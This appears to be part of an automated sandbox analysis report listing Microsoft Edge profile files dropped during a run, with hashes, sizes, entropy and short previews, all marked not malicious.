Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379538499699763","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379538499699763","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF4e78d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.55847994360738
Encrypted:	false
SSDEEP:	768:YQzzCVWwL7pLGLht4W5wSgf4ql8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPsEIVq7pf:YQ2VDdcht4WaSgfzlu1jalbIa3t6R
MD5:	4A013F77E04FA27E6BD639C5A84DCA4E
SHA1:	EB6F940E41571A0B8A1884B1DC827FEDD830A807
SHA-256:	404623AA8E423F8042FA847E56264AE217BB7C7A4A5AD757799EE51809C2D19D
SHA-512:	76EE460D7AFE2B7917BCA66987300F487BCC620B348E1A88B3B22CE6FE3E93318C1843E30CFAE300E220DE236F720B3853C0168C9C6257ADCFF36D5AEC9D9DBD
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379538499699763","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379538499699763","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.323098996850684
Encrypted:	false
SSDEEP:	3:chltUQ2Hm4kxH4xRNwBgzNnNurkXn:chXUQI2xH8BzNmen
MD5:	8DA62954B0B14642CF287A260418E39B
SHA1:	E82BF98669AE1D73BBD9294D9F454044D5C2622E
SHA-256:	B7E25784D1B3A3653C618822715DAE7CC86BF0B05FFF0CF3C5D6A1FB169F0614
SHA-512:	E44DC92CAA0579A81CBF176A589493421AAD851D7006603B54684EE8CBFC67F572F2B0219F4483227F3FF9CC614D882B2ADB8060873E358C7D6870CAF9E3865C
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.145374201803489
Encrypted:	false
SSDEEP:	6:NV01N723oH+TcwtE/a252KLlbVNyq2PN723oH+TcwtE/a2ZIFUv:IaYeb8xL0vVaYeb8J2FUv
MD5:	781A59B23EF846E94B1D537EA7A26F83
SHA1:	E2D6D2DD400FECD2DD70CE4CD2B71F623A8471D0
SHA-256:	CC3EE059BCF185AB2082605062D1C90E185D6C2C5D4732E84E210961E2ECED78
SHA-512:	3484F45E7A5A93C5571FA4ECA18EEA84F7FB09C158CDCF65DD3C6E604DD76205CFC114D827689E16539FACD1F228D8641FDD961F7FEE4AD06CF0EA03C11BE98B
Malicious:	false
Preview:	2024/12/24-13:28:35.247 1bc0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/12/24-13:28:35.275 1bc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114579
Entropy (8bit):	5.580500875085219
Encrypted:	false
SSDEEP:	1536:kU906yxPXfOxr1lhCe1nL/ImL/rBZXECjPXNtsf387ekUZuOf:J9LyxPXfOxr1lMe1nL/5L/TXE6n7d6
MD5:	61116C36128E2536C658497483C9C4F0
SHA1:	AD4E6CFD528511E559BB30825CBB44CA69398D10
SHA-256:	4AA3495C461E85E2EFF087080B5BDF26293AC0E086C52C3E69A878B1EC84EA20
SHA-512:	C32ECE3CF7755DE56186FE6180EFB59A511499EDBF6D21F4FA9D496A9F42DC73BF391AA1CF7153A25BB79064C9783DB5DB7B3643C9C1DCCC1713E0495C801A78
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	189113
Entropy (8bit):	6.3872538931872525
Encrypted:	false
SSDEEP:	3072:+OEvMsWmOJX2wcN1Jim4LL/wFToXLsvE7wRyvfzrtU0FLR:MI2wc5iZL/0yj7Y8LR
MD5:	14FC53C6D7E3FAFA2FB52A9BF8036277
SHA1:	1F265B5BE417464752E3940E516080A6F1C46CDD
SHA-256:	E5E90C163F9EACB85D5D153EF86F4DCFBA514AF2C01BB9056F9B631271C9679D
SHA-512:	BD8C11159726B7568BA866AE485D486AA9C3101EE2F345B6C8DE9AB8D72DDB2C8805781586BAB85079FB25ABB6D39E080AC8D5EF556B14993519D47510DC623C
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R.......yT`........,T.8..`,.....L`.....,T...`......L`......Rc........exports...Rc.A.N....module....Rc>..l....define....RbJm/.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H........Q...F...{...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....@[...,T.`.`z.....L`..........a............a.........Dr8..............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:nrC0Xl/lYV/lxEstllQPRon:rNYWs+in
MD5:	4A0C8B394D56A29162764E3810C19E04
SHA1:	EDACC5FFCEC723A009382C991526EB51BB5AE248
SHA-256:	37B8A982A761350EBB5754C77802F0D3F3FED07839EDFB3890675F035C00C9BE
SHA-512:	0DEF5668A87179C0ACC22314FD22BBE02DB4BF897AB0B373A5F20BA217B2042C47D0469E42116BB3CE9A08B0A9C8ECE369F75577C35D4A86DF982C85EB542907
Malicious:	false
Preview:	@......oy retne.........................X....,.................4..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:nrC0Xl/lYV/lxEstllQPRon:rNYWs+in
MD5:	4A0C8B394D56A29162764E3810C19E04
SHA1:	EDACC5FFCEC723A009382C991526EB51BB5AE248
SHA-256:	37B8A982A761350EBB5754C77802F0D3F3FED07839EDFB3890675F035C00C9BE
SHA-512:	0DEF5668A87179C0ACC22314FD22BBE02DB4BF897AB0B373A5F20BA217B2042C47D0469E42116BB3CE9A08B0A9C8ECE369F75577C35D4A86DF982C85EB542907
Malicious:	false
Preview:	@......oy retne.........................X....,.................4..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF5190d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:nrC0Xl/lYV/lxEstllQPRon:rNYWs+in
MD5:	4A0C8B394D56A29162764E3810C19E04
SHA1:	EDACC5FFCEC723A009382C991526EB51BB5AE248
SHA-256:	37B8A982A761350EBB5754C77802F0D3F3FED07839EDFB3890675F035C00C9BE
SHA-512:	0DEF5668A87179C0ACC22314FD22BBE02DB4BF897AB0B373A5F20BA217B2042C47D0469E42116BB3CE9A08B0A9C8ECE369F75577C35D4A86DF982C85EB542907
Malicious:	false
Preview:	@......oy retne.........................X....,.................4..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7739
Entropy (8bit):	3.3604397884011825
Encrypted:	false
SSDEEP:	192:Dhmiq5DClQLEs9Xp+smApKi6DjLl9iSr/TU6dqE32:Dhmiq5Dd9Xp+smTZLl9iSrLd8E32
MD5:	52168C8B93D11BAD3224497BA4C2D2E9
SHA1:	56D6B4F52BDB7223550B9AC79991FEB7B4613664
SHA-256:	E2C00118A6879AEA7D475BD8D347C4A223FFD73C5D8925407DAE7A60C700E2A4
SHA-512:	04D04617F9F7B1D0793C0E1EF19947EFD2EAF042DA4E0F76FC2DF0995C6C4B76EE16F74A5AC397E9ECD113C24B354BDCC7481B22AFA728CEEC410B808FDFAB4B
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............R...b................next-map-id.1.Cnamespace-f7d63829_6d7f_4ea3_9f72_e393d960e41b-https://ntp.msn.com/.0_...................map-0-shd_sweeper.9{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.o.m.p.o.f.,.p.r.g.-.f.i.n.-.h.p.o.f.l.i.o.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.p.r.g.-.1.s.w.-.c.c.-.c.a.l.f.e.e.d.i.,.p.r.g.-.e.s.h.b.t.n.t.r.t.f.a.c.,.p.r.g.-.1.s.w.-.c.n.h.o.r.o.-.c.,.p.r.g.-.m.s.n.-.g.l.s.b.i.d.m.,.c.p.r.g.-.c.-.p.o.l.i.s.h.-.s.t.y.l.e.s.,.1.s.-.p.n.p.s.n.i.c.e.r.t.,.p.r.g.-.1.s.w.-.s.a.b.g.t.a.s.k.t.h.r.o.t.,.p.r.g.-.1.s.w.-.s.a.c.f.x.2.t.5.,.p.r.g.-.1.s.w.-.s.a.g.e.i.m.a.n.n.i.2.c.,.p.r.g.-.1.s.w.-.s.a.l.3.r.m.f.e.a.t.s.t.,.p.r.g.-.1.s.w.-.n.o.a.b.r.t.-.r.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.097177695266015
Encrypted:	false
SSDEEP:	6:NeE24q2PN723oH+TcwtrQMxIFUt8Ee7gZmw+Et3DkwON723oH+TcwtrQMFLJ:8EVvVaYebCFUt8P0/+kz5OaYebtJ
MD5:	A6E49EFB4D1E343FBF1C40403B3F1F9B
SHA1:	6EAE58248BD5B1EA0DAFAD0C05EA2CF23C006901
SHA-256:	45BB30D91B852D11DC36D9482D07D294DE2164307311300606CB873EE7543461
SHA-512:	DE2A7F9C16093F3BF0CF132DF0035762802ABDBB53D0D7424B6A9C8CD8FCD8F28FC99D097CB337E44384A573B248E53BCB1C6E8B0251BB5664B4BCB953B1A244
Malicious:	false
Preview:	2024/12/24-13:28:20.413 b90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/24-13:28:20.414 b90 Recovering log #3.2024/12/24-13:28:20.421 b90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.097177695266015
Encrypted:	false
SSDEEP:	6:NeE24q2PN723oH+TcwtrQMxIFUt8Ee7gZmw+Et3DkwON723oH+TcwtrQMFLJ:8EVvVaYebCFUt8P0/+kz5OaYebtJ
MD5:	A6E49EFB4D1E343FBF1C40403B3F1F9B
SHA1:	6EAE58248BD5B1EA0DAFAD0C05EA2CF23C006901
SHA-256:	45BB30D91B852D11DC36D9482D07D294DE2164307311300606CB873EE7543461
SHA-512:	DE2A7F9C16093F3BF0CF132DF0035762802ABDBB53D0D7424B6A9C8CD8FCD8F28FC99D097CB337E44384A573B248E53BCB1C6E8B0251BB5664B4BCB953B1A244
Malicious:	false
Preview:	2024/12/24-13:28:20.413 b90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/24-13:28:20.414 b90 Recovering log #3.2024/12/24-13:28:20.421 b90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13379538502196996

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8181031622112718
Encrypted:	false
SSDEEP:	24:3bHlea/5ksPXcikpsAF4unxctLp3X2amEtG1Chq9CRG3i69QKkOAM4b:3LPAzFKLp2FEkChtRLHOp
MD5:	609E1DE43799294DD336752D566FA785
SHA1:	BC7EDA781072C6C7227D88B279581C8903670071
SHA-256:	554EC628722CB7A81A606C0BEBA0C0304969B3767113FAD4F887157EA6494BB8
SHA-512:	893471ECFA1CB8790D49E1913CA44E4A96149FAA144DC6370241DFC75857F517F6C52D89727ED2689D2A17B6BC24929765548AE9AF753578D499F715EDBFC685
Malicious:	false
Preview:	SNSS........z.y............z.y......".z.y............z.y........z.y........z.y........z.y....!...z.y................................z.y.z.y1..,....z.y$...f7d63829_6d7f_4ea3_9f72_e393d960e41b....z.y........z.y....0z..........z.y....z.y........................z.y....................5..0....z.y&...{46F3A197-DB49-410A-81B3-94975C835573}......z.y........z.y...........................z.y............z.y........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......d54G...e54G................................... ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.143622894495237
Encrypted:	false
SSDEEP:	6:NXeyq2PN723oH+Tcwt7Uh2ghZIFUt8EXI1Zmw+EXfRkwON723oH+Tcwt7Uh2gnLJ:ZeyvVaYebIhHh2FUt8KG/+KfR5OaYebs
MD5:	0EFA28629E85CD812BBABB7E5DAC7800
SHA1:	1E79E2C070A81B01F03357D29E2D0736C882DC35
SHA-256:	0F8FAF09C40DC403753353F019B29B8AD27F06A77E47D78E9B96E76F61F58755
SHA-512:	93933091B379D47D2564792E95C4CB0B2890DB35240E24A61926F54D37BB57CD833FA5B02962AA0C7D98032C721855A4FBB9979F7F0DD1CCDE5386AE5BB68C4B
Malicious:	false
Preview:	2024/12/24-13:28:19.683 1be4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/24-13:28:19.683 1be4 Recovering log #3.2024/12/24-13:28:19.684 1be4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.143622894495237
Encrypted:	false
SSDEEP:	6:NXeyq2PN723oH+Tcwt7Uh2ghZIFUt8EXI1Zmw+EXfRkwON723oH+Tcwt7Uh2gnLJ:ZeyvVaYebIhHh2FUt8KG/+KfR5OaYebs
MD5:	0EFA28629E85CD812BBABB7E5DAC7800
SHA1:	1E79E2C070A81B01F03357D29E2D0736C882DC35
SHA-256:	0F8FAF09C40DC403753353F019B29B8AD27F06A77E47D78E9B96E76F61F58755
SHA-512:	93933091B379D47D2564792E95C4CB0B2890DB35240E24A61926F54D37BB57CD833FA5B02962AA0C7D98032C721855A4FBB9979F7F0DD1CCDE5386AE5BB68C4B
Malicious:	false
Preview:	2024/12/24-13:28:19.683 1be4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/24-13:28:19.683 1be4 Recovering log #3.2024/12/24-13:28:19.684 1be4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	435
Entropy (8bit):	5.21313550656892
Encrypted:	false
SSDEEP:	6:NIF4q2PN723oH+TcwtzjqEKj3K/2jMGIFUt8EsIJZmw+EoqFkwON723oH+Tcwtzg:VvVaYebvqBQFUt8W/+KF5OaYebvqBvJ
MD5:	AC37109AF01DFFD14CB7523ADB4BA1E9
SHA1:	EB64BB245C490860B0FD5E5FE8987152566B0D4C
SHA-256:	568BB091B9F0CCAA542558F99CD3E5DF62BD755324290E103ADB40548E0D7A2D
SHA-512:	8731FFD3E1ABF50B54BA830D98E6184A662867E4C1E0982559EB2A4CF82B253397C2512E93EE7C07C3BF4B0C11A6C9E1BB60B69724D801805D234D2996BE47E1
Malicious:	false
Preview:	2024/12/24-13:28:20.833 b90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/24-13:28:20.841 b90 Recovering log #3.2024/12/24-13:28:20.845 b90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	435
Entropy (8bit):	5.21313550656892
Encrypted:	false
SSDEEP:	6:NIF4q2PN723oH+TcwtzjqEKj3K/2jMGIFUt8EsIJZmw+EoqFkwON723oH+Tcwtzg:VvVaYebvqBQFUt8W/+KF5OaYebvqBvJ
MD5:	AC37109AF01DFFD14CB7523ADB4BA1E9
SHA1:	EB64BB245C490860B0FD5E5FE8987152566B0D4C
SHA-256:	568BB091B9F0CCAA542558F99CD3E5DF62BD755324290E103ADB40548E0D7A2D
SHA-512:	8731FFD3E1ABF50B54BA830D98E6184A662867E4C1E0982559EB2A4CF82B253397C2512E93EE7C07C3BF4B0C11A6C9E1BB60B69724D801805D234D2996BE47E1
Malicious:	false
Preview:	2024/12/24-13:28:20.833 b90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/24-13:28:20.841 b90 Recovering log #3.2024/12/24-13:28:20.845 b90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

